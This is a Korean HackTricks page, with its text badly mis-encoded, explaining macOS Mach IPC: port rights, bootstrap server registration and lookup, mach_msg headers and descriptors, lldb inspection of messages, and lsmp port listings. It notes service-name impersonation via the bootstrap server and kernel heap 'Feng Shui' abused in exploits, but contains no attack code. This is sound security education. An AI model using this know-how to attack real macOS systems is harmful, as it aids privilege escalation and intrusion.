macOS IPC - Inter Process Communication
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
Mach λ©μμ§μ ν΅ν ν¬νΈ
κΈ°λ³Έ μ 보
Machλ μμ μ μμμ 곡μ νκΈ° μν κ°μ₯ μμ λ¨μλ‘ μ¬μ©νλ©°, κ° μμ μ μ¬λ¬ μ€λ λλ₯Ό ν¬ν¨ν μ μμ΅λλ€. μ΄λ¬ν μμ κ³Ό μ€λ λλ POSIX νλ‘μΈμ€μ μ€λ λμ 1:1λ‘ λ§€νλ©λλ€.
μμ κ°μ ν΅μ μ Mach Inter-Process Communication (IPC)μ ν΅ν΄ μ΄λ£¨μ΄μ§λ©°, λ¨λ°©ν₯ ν΅μ μ±λμ νμ©ν©λλ€. λ©μμ§λ ν¬νΈ κ°μ μ μ‘λλ©°, μ΄λ 컀λμ μν΄ κ΄λ¦¬λλ μΌμ’ μ λ©μμ§ ν μν μ ν©λλ€.
ν¬νΈλ Mach IPCμ κΈ°λ³Έ μμμ λλ€. λ©μμ§λ₯Ό μ μ‘νκ³ μμ νλ λ° μ¬μ©λ μ μμ΅λλ€.
κ° νλ‘μΈμ€λ IPC ν μ΄λΈμ κ°μ§κ³ μμΌλ©°, μ¬κΈ°μμ νλ‘μΈμ€μ mach ν¬νΈλ₯Ό μ°Ύμ μ μμ΅λλ€. mach ν¬νΈμ μ΄λ¦μ μ€μ λ‘ μ«μ(컀λ κ°μ²΄μ λν ν¬μΈν°)μ λλ€.
νλ‘μΈμ€λ λν λ€λ₯Έ μμ μ ν¬νΈ μ΄λ¦κ³Ό μΌλΆ κΆνμ μ μ‘ν μ μμΌλ©°, 컀λμ μ΄ νλͺ©μ λ€λ₯Έ μμ μ IPC ν μ΄λΈμ λνλκ² ν©λλ€.
ν¬νΈ κΆν
μμ μ΄ μνν μ μλ μμ μ μ μνλ ν¬νΈ κΆνμ μ΄ ν΅μ μ ν΅μ¬μ λλ€. κ°λ₯ν ν¬νΈ κΆνμ (μ μλ μ¬κΈ°μ):
- μμ κΆν: ν¬νΈλ‘ μ μ‘λ λ©μμ§λ₯Ό μμ ν μ μκ² ν΄μ€λλ€. Mach ν¬νΈλ MPSC(λ€μ€ μμ°μ, λ¨μΌ μλΉμ) νλ‘, μμ€ν μ 체μμ κ° ν¬νΈμ λν΄ νλμ μμ κΆνλ§ μ‘΄μ¬ν μ μμ΅λλ€(νμ΄νμ λ¬λ¦¬, μ¬λ¬ νλ‘μΈμ€κ° νλμ νμ΄νμ μ½κΈ° λμ λν νμΌ μ€λͺ μλ₯Ό κ°μ§ μ μμ΅λλ€).
- μμ κΆνμ κ°μ§ μμ μ λ©μμ§λ₯Ό μμ νκ³ μ μ‘ κΆνμ μμ±ν μ μμ΄ λ©μμ§λ₯Ό λ³΄λΌ μ μμ΅λλ€. μλλ μμ μ μμ λ§μ΄ μμ μ ν¬νΈμ λν μμ κΆνμ κ°μ§λλ€.
- μμ κΆνμ μμ μκ° μ£½κ±°λ μ΄λ₯Ό μ’ λ£νλ©΄, μ μ‘ κΆνμ μΈλͺ¨μκ² λ©λλ€(μ£½μ μ΄λ¦).
- μ μ‘ κΆν: ν¬νΈλ‘ λ©μμ§λ₯Ό μ μ‘ν μ μκ² ν΄μ€λλ€.
- μ μ‘ κΆνμ 볡μ λ μ μμ΄, μ μ‘ κΆνμ κ°μ§ μμ μ΄ μ΄λ₯Ό 볡μ νκ³ μΈ λ²μ§Έ μμ μ λΆμ¬ν μ μμ΅λλ€.
- ν¬νΈ κΆνμ Mac λ©μμ§λ₯Ό ν΅ν΄ μ λ¬λ μ μμ΅λλ€.
- μΌνμ± μ μ‘ κΆν: ν¬νΈμ ν λ©μμ§λ₯Ό μ μ‘νκ³ μ¬λΌμ§λλ€.
- μ΄ κΆνμ 볡μ λ μ μμ§λ§, μ΄λλ μ μμ΅λλ€.
- ν¬νΈ μ§ν© κΆν: λ¨μΌ ν¬νΈκ° μλ _ν¬νΈ μ§ν©_μ λνλ
λλ€. ν¬νΈ μ§ν©μμ λ©μμ§λ₯Ό νμμ μ κ±°νλ©΄ κ·Έ μμ ν¬ν¨λ ν¬νΈ μ€ νλμμ λ©μμ§κ° μ κ±°λ©λλ€. ν¬νΈ μ§ν©μ Unixμ
select/poll/epoll/kqueueμ²λΌ μ¬λ¬ ν¬νΈμμ λμμ μμ νλ λ° μ¬μ©ν μ μμ΅λλ€. - μ£½μ μ΄λ¦: μ€μ ν¬νΈ κΆνμ΄ μλλΌ λ¨μν μ리 νμμμ λλ€. ν¬νΈκ° νκ΄΄λλ©΄, ν΄λΉ ν¬νΈμ λν λͺ¨λ κΈ°μ‘΄ ν¬νΈ κΆνμ μ£½μ μ΄λ¦μΌλ‘ λ³ν©λλ€.
μμ μ λ€λ₯Έ μμ μ SEND κΆνμ μ μ‘ν μ μμ΄, λ©μμ§λ₯Ό λ€μ λ³΄λΌ μ μκ² λ©λλ€. SEND κΆνμ 볡μ λ μ μμ΄, μμ μ΄ μ΄λ₯Ό 볡μ νκ³ μΈ λ²μ§Έ μμ μ λΆμ¬ν μ μμ΅λλ€. μ΄λ λΆνΈμ€νΈλ© μλ²λΌλ μ€κ° νλ‘μΈμ€μ κ²°ν©λμ΄ μμ κ°μ ν¨κ³Όμ μΈ ν΅μ μ κ°λ₯νκ² ν©λλ€.
νμΌ ν¬νΈ
νμΌ ν¬νΈλ Mac ν¬νΈμμ νμΌ μ€λͺ
μλ₯Ό μΊ‘μνν μ μκ² ν΄μ€λλ€( Mach ν¬νΈ κΆν μ¬μ©). μ£Όμ΄μ§ FDμμ fileport_makeportλ₯Ό μ¬μ©νμ¬ fileportλ₯Ό μμ±νκ³ , νμΌν¬νΈμμ FDλ₯Ό μμ±νλ €λ©΄ fileport_makefdλ₯Ό μ¬μ©ν©λλ€.
ν΅μ μ€μ
μμ μΈκΈνλ―μ΄, Mach λ©μμ§λ₯Ό μ¬μ©νμ¬ κΆνμ μ μ‘ν μ μμ§λ§, Mach λ©μμ§λ₯Ό μ μ‘ν κΆνμ΄ μμΌλ©΄ κΆνμ μ μ‘ν μ μμ΅λλ€. κ·Έλ λ€λ©΄ 첫 λ²μ§Έ ν΅μ μ μ΄λ»κ² μ€μ λ κΉμ?
μ΄λ₯Ό μν΄ λΆνΈμ€νΈλ© μλ²(launchd in mac)κ° κ΄μ¬νλ©°, λͺ¨λ μ¬μ©μκ° λΆνΈμ€νΈλ© μλ²μ SEND κΆνμ μ»μ μ μμΌλ―λ‘, λ€λ₯Έ νλ‘μΈμ€μ λ©μμ§λ₯Ό μ μ‘ν κΆνμ μμ²ν μ μμ΅λλ€:
- μμ Aκ° μ ν¬νΈλ₯Ό μμ±νκ³ , κ·Έμ λν μμ κΆνμ μ»μ΅λλ€.
- μμ Aλ μμ κΆνμ μμ μλ‘μ ν¬νΈμ λν μ μ‘ κΆνμ μμ±ν©λλ€.
- μμ Aλ λΆνΈμ€νΈλ© μλ²μ μ°κ²°μ μ€μ νκ³ , μ²μ μμ±ν ν¬νΈμ λν μ μ‘ κΆνμ μλ²μ μ μ‘ν©λλ€.
- λꡬλ λΆνΈμ€νΈλ© μλ²μ SEND κΆνμ μ»μ μ μλ€λ μ μ κΈ°μ΅νμΈμ.
- μμ
Aλ λΆνΈμ€νΈλ© μλ²μ
bootstrap_registerλ©μμ§λ₯Ό λ³΄λ΄ μ£Όμ΄μ§ ν¬νΈλ₯Όcom.apple.taskaμ κ°μ μ΄λ¦μ μ°κ²°ν©λλ€. - μμ
Bλ λΆνΈμ€νΈλ© μλ²μ μνΈμμ©νμ¬ μλΉμ€ μ΄λ¦μ λν λΆνΈμ€νΈλ© μ‘°νλ₯Ό μ€νν©λλ€(
bootstrap_lookup). λΆνΈμ€νΈλ© μλ²κ° μλ΅ν μ μλλ‘, μμ Bλ μ‘°ν λ©μμ§ λ΄μμ μ΄μ μ μμ±ν ν¬νΈμ λν SEND κΆνμ μ μ‘ν©λλ€. μ‘°νκ° μ±κ³΅νλ©΄, μλ²λ μμ Aλ‘λΆν° λ°μ SEND κΆνμ 볡μ νμ¬ μμ Bμ μ μ‘ν©λλ€.
- λꡬλ λΆνΈμ€νΈλ© μλ²μ SEND κΆνμ μ»μ μ μλ€λ μ μ κΈ°μ΅νμΈμ.
- μ΄ SEND κΆνμΌλ‘ μμ Bλ μμ Aμ λ©μμ§λ₯Ό μ μ‘ν μ μμ΅λλ€.
- μλ°©ν₯ ν΅μ μ μν΄ μΌλ°μ μΌλ‘ μμ Bλ μμ κΆνκ³Ό μ μ‘ κΆνμ κ°μ§ μ ν¬νΈλ₯Ό μμ±νκ³ , SEND κΆνμ μμ Aμ λΆμ¬νμ¬ μμ Bμ λ©μμ§λ₯Ό λ³΄λΌ μ μκ² ν©λλ€(μλ°©ν₯ ν΅μ ).
λΆνΈμ€νΈλ© μλ²λ μμ μ΄ μ£Όμ₯νλ μλΉμ€ μ΄λ¦μ μΈμ¦ν μ μμ΅λλ€. μ΄λ μμ μ΄ μ μ¬μ μΌλ‘ λͺ¨λ μμ€ν μμ μ κ°μ₯ν μ μμμ μλ―Έν©λλ€, μλ₯Ό λ€μ΄ μλͺ»λ μΈμ¦ μλΉμ€ μ΄λ¦μ μ£Όμ₯νκ³ λͺ¨λ μμ²μ μΉμΈνλ κ²μ λλ€.
κ·Έλ° λ€μ Appleμ μμ€ν
μ 곡 μλΉμ€μ μ΄λ¦μ 보μ κ΅¬μ± νμΌμ μ μ₯νλ©°, μ΄ νμΌμ SIP λ³΄νΈ λλ ν 리μ μμΉν©λλ€: /System/Library/LaunchDaemons λ° /System/Library/LaunchAgents. κ° μλΉμ€ μ΄λ¦κ³Ό ν¨κ» μ°κ΄λ λ°μ΄λ리λ μ μ₯λ©λλ€. λΆνΈμ€νΈλ© μλ²λ μ΄λ¬ν μλΉμ€ μ΄λ¦ κ°κ°μ λν΄ μμ κΆνμ μμ±νκ³ μ μ§ν©λλ€.
μ΄λ¬ν 미리 μ μλ μλΉμ€μ λν΄ μ‘°ν νλ‘μΈμ€λ μ½κ° λ€λ¦ λλ€. μλΉμ€ μ΄λ¦μ΄ μ‘°νλ λ, launchdλ μλΉμ€λ₯Ό λμ μΌλ‘ μμν©λλ€. μλ‘μ΄ μν¬νλ‘μ°λ λ€μκ³Ό κ°μ΅λλ€:
- μμ Bκ° μλΉμ€ μ΄λ¦μ λν λΆνΈμ€νΈλ© μ‘°νλ₯Ό μμν©λλ€.
- launchdλ μμ μ΄ μ€ν μ€μΈμ§ νμΈνκ³ , μ€ν μ€μ΄ μλλ©΄ μμν©λλ€.
- μμ
A(μλΉμ€)λ λΆνΈμ€νΈλ© 체ν¬μΈ(
bootstrap_check_in())μ μνν©λλ€. μ¬κΈ°μ λΆνΈμ€νΈλ© μλ²λ SEND κΆνμ μμ±νκ³ μ΄λ₯Ό μ μ§νλ©°, μμ κΆνμ μμ Aμ μ μ‘ν©λλ€. - launchdλ SEND κΆνμ 볡μ νμ¬ μμ Bμ μ μ‘ν©λλ€.
- μμ Bλ μμ κΆνκ³Ό μ μ‘ κΆνμ κ°μ§ μ ν¬νΈλ₯Ό μμ±νκ³ , SEND κΆνμ μμ A(svc)μ λΆμ¬νμ¬ μμ Bμ λ©μμ§λ₯Ό λ³΄λΌ μ μκ² ν©λλ€(μλ°©ν₯ ν΅μ ).
κ·Έλ¬λ μ΄ νλ‘μΈμ€λ 미리 μ μλ μμ€ν μμ μλ§ μ μ©λ©λλ€. λΉμμ€ν μμ μ μ¬μ ν μλ μ€λͺ λ λλ‘ μλνλ©°, μ΄λ μ μ¬μ μΌλ‘ κ°μ₯ν μ μλ κ°λ₯μ±μ νμ©ν μ μμ΅λλ€.
Caution
λ°λΌμ, launchdλ μ λ μΆ©λν΄μλ μ λλ©°, κ·Έλ μ§ μμΌλ©΄ μ 체 μμ€ν μ΄ μΆ©λν κ²μ λλ€.
Mach λ©μμ§
μ¬κΈ°μμ λ λ§μ μ 보λ₯Ό μ°ΎμΌμΈμ
mach_msg ν¨μλ λ³Έμ§μ μΌλ‘ μμ€ν
νΈμΆλ‘, Mach λ©μμ§λ₯Ό μ μ‘νκ³ μμ νλ λ° μ¬μ©λ©λλ€. μ΄ ν¨μλ μ μ‘ν λ©μμ§λ₯Ό μ΄κΈ° μΈμλ‘ μꡬν©λλ€. μ΄ λ©μμ§λ mach_msg_header_t κ΅¬μ‘°μ²΄λ‘ μμν΄μΌ νλ©°, κ·Έ λ€μ μ€μ λ©μμ§ λ΄μ©μ΄ μ΄μ΄μ ΈμΌ ν©λλ€. ꡬ쑰체λ λ€μκ³Ό κ°μ΄ μ μλ©λλ€:
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
νλ‘μΈμ€κ° _μμ κΆν_μ κ°μ§κ³ μμΌλ©΄ Mach ν¬νΈμμ λ©μμ§λ₯Ό μμ ν μ μμ΅λλ€. λ°λλ‘, λ°μ μλ μ μ‘ λλ _μΌνμ± μ μ‘ κΆν_μ λΆμ¬λ°μ΅λλ€. μΌνμ± μ μ‘ κΆνμ λ¨μΌ λ©μμ§λ₯Ό μ μ‘νλ λ°λ§ μ¬μ©λλ©°, κ·Έ νμλ 무ν¨κ° λ©λλ€.
μ΄κΈ° νλ **msgh_bits**λ λΉνΈλ§΅μ
λλ€:
- 첫 λ²μ§Έ λΉνΈ(κ°μ₯ μ€μν λΉνΈ)λ λ©μμ§κ° 볡μ‘νλ€λ κ²μ λνλ΄λ λ° μ¬μ©λ©λλ€(μμΈν λ΄μ©μ μλ μ°Έμ‘°).
- 3λ²μ§Έ λ° 4λ²μ§Έ λΉνΈλ 컀λμμ μ¬μ©λ©λλ€.
- λ λ²μ§Έ λ°μ΄νΈμ 5κ°μ κ°μ₯ λ μ€μν λΉνΈλ λ°μ°μ²μ μ¬μ©ν μ μμ΅λλ€: ν€/κ° μ‘°ν©μ μ μ‘νλ λ λ€λ₯Έ μ νμ ν¬νΈμ λλ€.
- μΈ λ²μ§Έ λ°μ΄νΈμ 5κ°μ κ°μ₯ λ μ€μν λΉνΈλ λ‘컬 ν¬νΈμ μ¬μ©ν μ μμ΅λλ€.
- λ€ λ²μ§Έ λ°μ΄νΈμ 5κ°μ κ°μ₯ λ μ€μν λΉνΈλ μ격 ν¬νΈμ μ¬μ©ν μ μμ΅λλ€.
λ°μ°μ², λ‘컬 λ° μ격 ν¬νΈμμ μ§μ ν μ μλ μ νμ λ€μκ³Ό κ°μ΅λλ€(μΆμ²: mach/message.h):
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE 18 /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND 19 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND 20 /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE 21 /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE 22 /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE 24 /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
μλ₯Ό λ€μ΄, MACH_MSG_TYPE_MAKE_SEND_ONCEλ μ΄ ν¬νΈμ λν΄ μ μ‘-νλ² κΆνμ΄ νμλκ³ μ μ‘λμ΄μΌ ν¨μ λνλ΄κΈ° μν΄ μ¬μ©λ μ μμ΅λλ€. μμ μκ° μλ΅ν μ μλλ‘ MACH_PORT_NULLλ‘ μ§μ ν μλ μμ΅λλ€.
μ¬μ΄ μλ°©ν₯ ν΅μ μ λ¬μ±νκΈ° μν΄ νλ‘μΈμ€λ μλ΅ ν¬νΈ (msgh_local_port)λΌκ³ λΆλ¦¬λ mach λ©μμ§ ν€λμ mach ν¬νΈλ₯Ό μ§μ ν μ μμΌλ©°, μ¬κΈ°μ λ©μμ§μ μμ μλ μ΄ λ©μμ§μ μλ΅μ λ³΄λΌ μ μμ΅λλ€.
Tip
μ΄λ¬ν μ’ λ₯μ μλ°©ν₯ ν΅μ μ μλ΅μ κΈ°λνλ XPC λ©μμ§μμ μ¬μ©λλ€λ μ μ μ μνμμμ€ (
xpc_connection_send_message_with_replyλ°xpc_connection_send_message_with_reply_sync). κ·Έλ¬λ μΌλ°μ μΌλ‘ μλ°©ν₯ ν΅μ μ μμ±νκΈ° μν΄ μ΄μ μ μ€λͺ ν λλ‘ λ€λ₯Έ ν¬νΈκ° μμ±λ©λλ€.
λ©μμ§ ν€λμ λ€λ₯Έ νλλ λ€μκ³Ό κ°μ΅λλ€:
msgh_size: μ 체 ν¨ν·μ ν¬κΈ°.msgh_remote_port: μ΄ λ©μμ§κ° μ μ‘λλ ν¬νΈ.msgh_voucher_port: mach λ°μ°μ².msgh_id: μμ μκ° ν΄μνλ μ΄ λ©μμ§μ ID.
Caution
mach λ©μμ§λ
mach portλ₯Ό ν΅ν΄ μ μ‘λλ€λ μ μ μ μνμμμ€, μ΄λ mach 컀λμ λ΄μ₯λ λ¨μΌ μμ μ, λ€μ€ λ°μ μ ν΅μ μ±λμ λλ€. μ¬λ¬ νλ‘μΈμ€κ° mach ν¬νΈμ λ©μμ§λ₯Ό λ³΄λΌ μ μμ§λ§, μΈμ λ μ§ λ¨μΌ νλ‘μΈμ€λ§ μ½μ μ μμ΅λλ€.
λ©μμ§λ mach_msg_header_t ν€λλ‘ νμ±λλ©°, κ·Έ λ€μ λ³Έλ¬Έκ³Ό νΈλ μΌλ¬(μλ κ²½μ°)κ° λ°λ₯΄λ©°, μλ΅ν μ μλ κΆνμ λΆμ¬ν μ μμ΅λλ€. μ΄λ¬ν κ²½μ°, 컀λμ λ¨μν λ©μμ§λ₯Ό ν μμ
μμ λ€λ₯Έ μμ
μΌλ‘ μ λ¬νλ©΄ λ©λλ€.
νΈλ μΌλ¬λ 컀λμ μν΄ λ©μμ§μ μΆκ°λ μ 보(μ¬μ©μκ° μ€μ ν μ μμ)λ‘, MACH_RCV_TRAILER_<trailer_opt> νλκ·Έλ‘ λ©μμ§ μμ μ μμ²ν μ μμ΅λλ€(μμ²ν μ μλ λ€μν μ λ³΄κ° μμ΅λλ€).
볡μ‘ν λ©μμ§
κ·Έλ¬λ μΆκ° ν¬νΈ κΆνμ μ λ¬νκ±°λ λ©λͺ¨λ¦¬λ₯Ό 곡μ νλ κ²κ³Ό κ°μ λ 볡μ‘ν λ©μμ§κ° μμΌλ©°, μ΄ κ²½μ° μ»€λμ μ΄λ¬ν κ°μ²΄λ₯Ό μμ μμκ² μ μ‘ν΄μΌ ν©λλ€. μ΄ κ²½μ° ν€λ msgh_bitsμ κ°μ₯ μ€μν λΉνΈκ° μ€μ λ©λλ€.
μ λ¬ν μ μλ κ°λ₯ν μ€λͺ
μλ mach/message.hμμ μ μλ©λλ€:
#define MACH_MSG_PORT_DESCRIPTOR 0
#define MACH_MSG_OOL_DESCRIPTOR 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR 2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR 3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR 4
#pragma pack(push, 4)
typedef struct{
natural_t pad1;
mach_msg_size_t pad2;
unsigned int pad3 : 24;
mach_msg_descriptor_type_t type : 8;
} mach_msg_type_descriptor_t;
In 32λΉνΈμμλ λͺ¨λ μ€λͺ μκ° 12Bμ΄κ³ μ€λͺ μ μ νμ 11λ²μ§Έμ μμ΅λλ€. 64λΉνΈμμλ ν¬κΈ°κ° λ€λ¦ λλ€.
Caution
컀λμ ν μμ μμ λ€λ₯Έ μμ μΌλ‘ μ€λͺ μλ₯Ό 볡μ¬νμ§λ§ λ¨Όμ 컀λ λ©λͺ¨λ¦¬μ 볡μ¬λ³Έμ μμ±ν©λλ€. βFeng Shuiβλ‘ μλ €μ§ μ΄ κΈ°μ μ μ¬λ¬ μ΅μ€νλ‘μμμ λ¨μ©λμ΄ μ»€λμ΄ μμ μ λ©λͺ¨λ¦¬μ λ°μ΄ν°λ₯Ό 볡μ¬νκ² νμ¬ νλ‘μΈμ€κ° μμ μκ² μ€λͺ μλ₯Ό μ μ‘νκ² λ§λλλ€. κ·Έλ° λ€μ νλ‘μΈμ€λ λ©μμ§λ₯Ό μμ ν μ μμ΅λλ€(컀λμ΄ μ΄λ₯Ό ν΄μ ν κ²μ λλ€).
λν μ·¨μ½ν νλ‘μΈμ€μ ν¬νΈ κΆνμ μ μ‘νλ κ²λ κ°λ₯νλ©°, ν¬νΈ κΆνμ νλ‘μΈμ€μ λνλ©λλ€(μ²λ¦¬νμ§ μλλΌλ).
Mac Ports APIs
ν¬νΈλ μμ
λ€μμ€νμ΄μ€μ μ°κ²°λμ΄ μμΌλ―λ‘ ν¬νΈλ₯Ό μμ±νκ±°λ κ²μνλ €λ©΄ μμ
λ€μμ€νμ΄μ€λ 쿼리λ©λλ€(μμΈν λ΄μ©μ mach/mach_port.h μ°Έμ‘°):
mach_port_allocate|mach_port_construct: ν¬νΈ μμ±.mach_port_allocateλ ν¬νΈ μΈνΈλ μμ±ν μ μμ΅λλ€: ν¬νΈ κ·Έλ£Ήμ λν μμ κΆν. λ©μμ§κ° μμ λ λλ§λ€ ν΄λΉ ν¬νΈκ° νμλ©λλ€.mach_port_allocate_name: ν¬νΈμ μ΄λ¦μ λ³κ²½ν©λλ€(κΈ°λ³Έμ μΌλ‘ 32λΉνΈ μ μ).mach_port_names: λμμμ ν¬νΈ μ΄λ¦μ κ°μ Έμ΅λλ€.mach_port_type: μ΄λ¦μ λν μμ μ κΆνμ κ°μ Έμ΅λλ€.mach_port_rename: ν¬νΈ μ΄λ¦μ λ³κ²½ν©λλ€(FDμ dup2μ μ μ¬).mach_port_allocate: μλ‘μ΄ RECEIVE, PORT_SET λλ DEAD_NAMEμ ν λΉν©λλ€.mach_port_insert_right: RECEIVE κΆνμ΄ μλ ν¬νΈμ μλ‘μ΄ κΆνμ μμ±ν©λλ€.mach_port_...mach_msg|mach_msg_overwrite: mach λ©μμ§λ₯Ό μ μ‘νκ³ μμ νλ λ° μ¬μ©λλ ν¨μ. μ€λ²λΌμ΄νΈ λ²μ μ λ©μμ§ μμ μ μν λ€λ₯Έ λ²νΌλ₯Ό μ§μ ν μ μμ΅λλ€(λ€λ₯Έ λ²μ μ λ¨μν μ¬μ¬μ©ν©λλ€).
Debug mach_msg
mach_msg λ° mach_msg_overwrite ν¨μλ λ©μμ§λ₯Ό μ μ‘νκ³ μμ νλ λ° μ¬μ©λλ―λ‘, μ΄λ€μ μ€λ¨μ μ μ€μ νλ©΄ μ μ‘λ λ©μμ§μ μμ λ λ©μμ§λ₯Ό κ²μ¬ν μ μμ΅λλ€.
μλ₯Ό λ€μ΄, λλ²κΉ
ν μ μλ μ ν리μΌμ΄μ
μ μμνλ©΄ libSystem.Bκ° λ‘λλμ΄ μ΄ ν¨μλ₯Ό μ¬μ©ν κ²μ
λλ€.
(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
-> 0x181d3ac20 <+0>: pacibsp
0x181d3ac24 <+4>: sub sp, sp, #0x20
0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
**mach_msg**μ μΈμλ₯Ό μ»μΌλ €λ©΄ λ μ§μ€ν°λ₯Ό νμΈνμμμ€. μΈμλ λ€μκ³Ό κ°μ΅λλ€(μΆμ²: mach/message.h):
__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);
λ μ§μ€νΈλ¦¬μμ κ°μ κ°μ Έμ΅λλ€:
reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)
λ©μμ§ ν€λλ₯Ό κ²μ¬νμ¬ μ²« λ²μ§Έ μΈμλ₯Ό νμΈν©λλ€:
(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322
; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)
κ·Έ μ νμ mach_msg_bits_tλ μλ΅μ νμ©νλ λ° λ§€μ° μΌλ°μ μ
λλ€.
ν¬νΈ λμ΄
lsmp -p <pid>
sudo lsmp -p 1
Process (1) : launchd
name ipc-object rights flags boost reqs recv send sonce oref qlimit msgcount context identifier type
--------- ---------- ---------- -------- ----- ---- ----- ----- ----- ---- ------ -------- ------------------ ----------- ------------
0x00000203 0x181c4e1d send -------- --- 2 0x00000000 TASK-CONTROL SELF (1) launchd
0x00000303 0x183f1f8d recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x00000403 0x183eb9dd recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x0000051b 0x1840cf3d send -------- --- 2 -> 6 0 0x0000000000000000 0x00011817 (380) WindowServer
0x00000603 0x183f698d recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x0000070b 0x175915fd recv,send ---GS--- 0 --- 1 2 Y 5 0 0x0000000000000000
0x00000803 0x1758794d send -------- --- 1 0x00000000 CLOCK
0x0000091b 0x192c71fd send -------- D-- 1 -> 1 0 0x0000000000000000 0x00028da7 (418) runningboardd
0x00000a6b 0x1d4a18cd send -------- --- 2 -> 16 0 0x0000000000000000 0x00006a03 (92247) Dock
0x00000b03 0x175a5d4d send -------- --- 2 -> 16 0 0x0000000000000000 0x00001803 (310) logd
[...]
0x000016a7 0x192c743d recv,send --TGSI-- 0 --- 1 1 Y 16 0 0x0000000000000000
+ send -------- --- 1 <- 0x00002d03 (81948) seserviced
+ send -------- --- 1 <- 0x00002603 (74295) passd
[...]
μ΄λ¦μ ν¬νΈμ κΈ°λ³Έμ μΌλ‘ μ£Όμ΄μ§ μ΄λ¦μ
λλ€(첫 3 λ°μ΄νΈμμ μ¦κ°νλ λ°©μμ νμΈνμΈμ). **ipc-object**λ ν¬νΈμ λλ
νλ κ³ μ μλ³μμ
λλ€.
λν send κΆνλ§ μλ ν¬νΈκ° κ·Έκ²μ μμ μ(ν¬νΈ μ΄λ¦ + pid)λ₯Ό μλ³νλ λ°©μμ μ£Όλͺ©νμΈμ.
